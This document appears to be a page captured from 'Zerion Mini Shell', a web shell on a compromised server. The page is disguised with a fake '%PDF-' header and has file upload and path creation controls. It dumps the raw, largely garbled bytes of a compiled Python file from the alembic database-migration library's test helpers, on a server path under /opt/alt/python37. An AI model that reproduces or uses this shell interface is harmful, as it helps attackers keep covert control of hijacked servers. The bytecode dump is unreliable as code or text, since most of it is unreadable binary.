%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/alembic/testing/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/alembic/testing/__pycache__/env.cpython-37.pyc

B

�M!VU�@s�ddlZddlZddlZddlmZddlmZmZddlm	Z	ddlm
Z
ddlmZd	d
�Zd.dd�Z
dd�Zdd�Zdd�Zd/dd�Zd0dd�Zd1dd�Zd2dd �Zd!d"�Zd#d$�Zd3d&d'�Zd(d)�Zd*d+�Zd,d-�ZdS)4�N�)�u)�Script�ScriptDirectory)�util�)�engines)�	provisioncCstjrdtjSdSdS)Nz
scratch_%sZscratch)r	ZFOLLOWER_IDENT�r
r
�/env.py�_get_staging_directorys
rT�genericFcCs�ddlm}m}t�}|r�tj�t�d�}tj�|�r@t	�
|�|j|||d�|r�yt�
|d�Wntk
rxYnXttj�|d��|j�|�}|S)Nr)�command�script�scripts)�templatezenv.py)Zalembicrr�_testing_config�os�path�joinr�exists�shutil�rmtreeZinitrZload_python_file�AttributeError�make_sourcelessr�from_config)Zcreater�
sourcelessrr�cfgrZscr
r
r�staging_envs
rcCst�t�d�dS)NT)rrrr
r
r
r�clear_staging_env.src	CsBtj�t�d�}tj�|d�}t|d��}|�|�WdQRXdS)Nrzscript.py.mako�w)rrrr�open�write)�txt�dir_r�fr
r
r�script_file_fixture2sr&c	Csltj�t�d�}d|}tj�|d�}t�|�}t�|tj�rHt�|�t	|d��}|�
|�WdQRXdS)Nrz6
from alembic import context

config = context.config
zenv.pyr )rrrrr�pyc_file_from_path�access�F_OK�unlinkr!r")r#r$r�pyc_pathr%r
r
r�env_file_fixture9s

r,�foo.dbcCs(tj�t�d�}d||f}tj|d�S)Nrzsqlite:///%s/%s)�url)rrrrrZtesting_engine)Ztempnamer$r.r
r
r�_sqlite_file_dbJsr/cCs2tj�t�d�}d|}td|||r(dndf�S)Nrzsqlite:///%s/foo.dba�
[alembic]
script_location = %s
sqlalchemy.url = %s
sourceless = %s

[loggers]
keys = root

[handlers]
keys = console

[logger_root]
level = WARN
handlers = console
qualname =

[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic

[formatters]
keys = generic

[formatter_generic]
format = %%(levelname)-5.5s [%%(name)s] %%(message)s
datefmt = %%H:%%M:%%S
    �true�false)rrrr�_write_config_file)rr$r.r
r
r�_sqlite_testing_configPsr3cCs2tj�t�d�}d|}td|||r(dndf�S)Nrzsqlite:///%s/foo.dba�
[alembic]
script_location = %s
sqlalchemy.url = %s
sourceless = %s
version_locations = %%(here)s/model1/ %%(here)s/model2/ %%(here)s/model3/

[loggers]
keys = root

[handlers]
keys = console

[logger_root]
level = WARN
handlers = console
qualname =

[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic

[formatters]
keys = generic

[formatter_generic]
format = %%(levelname)-5.5s [%%(name)s] %%(message)s
datefmt = %%H:%%M:%%S
    r0r1)rrrrr2)rr$r.r
r
r�_multi_dir_testing_configvsr4�
postgresql�cCs"tj�t�d�}td|||f�S)zLuse a postgresql url with no host so that
    connections guaranteed to failra�
[alembic]
script_location = %s
sqlalchemy.url = %s://
%s

[loggers]
keys = root

[handlers]
keys = console

[logger_root]
level = WARN
handlers = console
qualname =

[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic

[formatters]
keys = generic

[formatter_generic]
format = %%(levelname)-5.5s [%%(name)s] %%(message)s
datefmt = %%H:%%M:%%S

)rrrrr2)ZdialectZ
directivesr$r
r
r�_no_sql_testing_config�sr7c	Cs,t�}t|jd��}|�|�WdQRX|S)Nr )rr!Zconfig_file_namer")�textrr%r
r
rr2�sr2cCs<ddlm}t�t�tj�s(t�t��|tj�t�d��S)Nr)�Configztest_alembic.ini)	Zalembic.configr9rr(rr)�mkdirrr)r9r
r
rr�sr�asciic
	Cs�|j�|�}|j}t�|�}|r*|�|�}t|d��}|�|�WdQRXt�	|�}t
�|t
j�rlt
�
|�t�||�}	|j�|	j�}|j|	jkr�td��|jj|	dd�|r�t|�dS)N�wbz2Can't change down_revision on a refresh operation.T)�_replace)Zrevision_mapZget_revisionr�textwrap�dedent�encoder!r"rr'rr(r)r*rZ
_from_pathZrevisionZ
down_revision�	ExceptionZadd_revisionr)
Z	scriptdir�rev_idZcontent�encodingr�oldr�fpr+rr
r
r�write_script�s"



rFcCsNt�|�}t�|tj�st�t�|�}t�|tj�s@t�||�t�	|�dS)N)
rr'rr(r)�AssertionErrorZsimple_pyc_file_from_pathrZcopyfiler*)rr+Zsimple_pyc_pathr
r
rr�s

rcCs�t��}t��}t��}t�|�}|j|ddd�t||d|�|j|ddd�t||td�||fdd�|j|d	dd�t||d
||f�|||fS)Nz
revision aT)Zrefreshz�"Rev A"
revision = '%s'
down_revision = None

from alembic import op

def upgrade():
    op.execute("CREATE STEP 1")

def downgrade():
    op.execute("DROP STEP 1")

z
revision bu�# coding: utf-8
"Rev B, méil"
revision = '%s'
down_revision = '%s'

from alembic import op

def upgrade():
    op.execute("CREATE STEP 2")

def downgrade():
    op.execute("DROP STEP 2")

zutf-8)rCz
revision cz�"Rev C"
revision = '%s'
down_revision = '%s'

from alembic import op

def upgrade():
    op.execute("CREATE STEP 3")

def downgrade():
    op.execute("DROP STEP 3")

)rrBrrZgenerate_revisionrFr)r�a�b�crr
r
r�three_rev_fixture�s



rKcCsHtj�t�d�}d�|���}d�dd�|��D��}td|||f�S)z?alembic.ini fixture to work exactly with the 'multidb' templaterz, z

css |]\}}d||jfVqdS)z[%s]
sqlalchemy.url = %sN)r.)�.0�key�valuer
r
r�	<genexpr>6sz*_multidb_testing_config.<locals>.<genexpr>a�
[alembic]
script_location = %s
sourceless = false

databases = %s

%s
[loggers]
keys = root

[handlers]
keys = console

[logger_root]
level = WARN
handlers = console
qualname =

[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic

[formatters]
keys = generic

[formatter_generic]
format = %%(levelname)-5.5s [%%(name)s] %%(message)s
datefmt = %%H:%%M:%%S
    )rrrr�keys�itemsr2)rr$Z	databasesr
r
r�_multidb_testing_config-s
rR)Tr
F)r-)F)F)r5r6)r;F)rrr>Zutil.compatrrrrr6rrr	rrrr&r,r/r3r4r7r2rrFrrKrRr
r
r
r�<module>s,


&
%
%
8

Zerion Mini Shell 1.0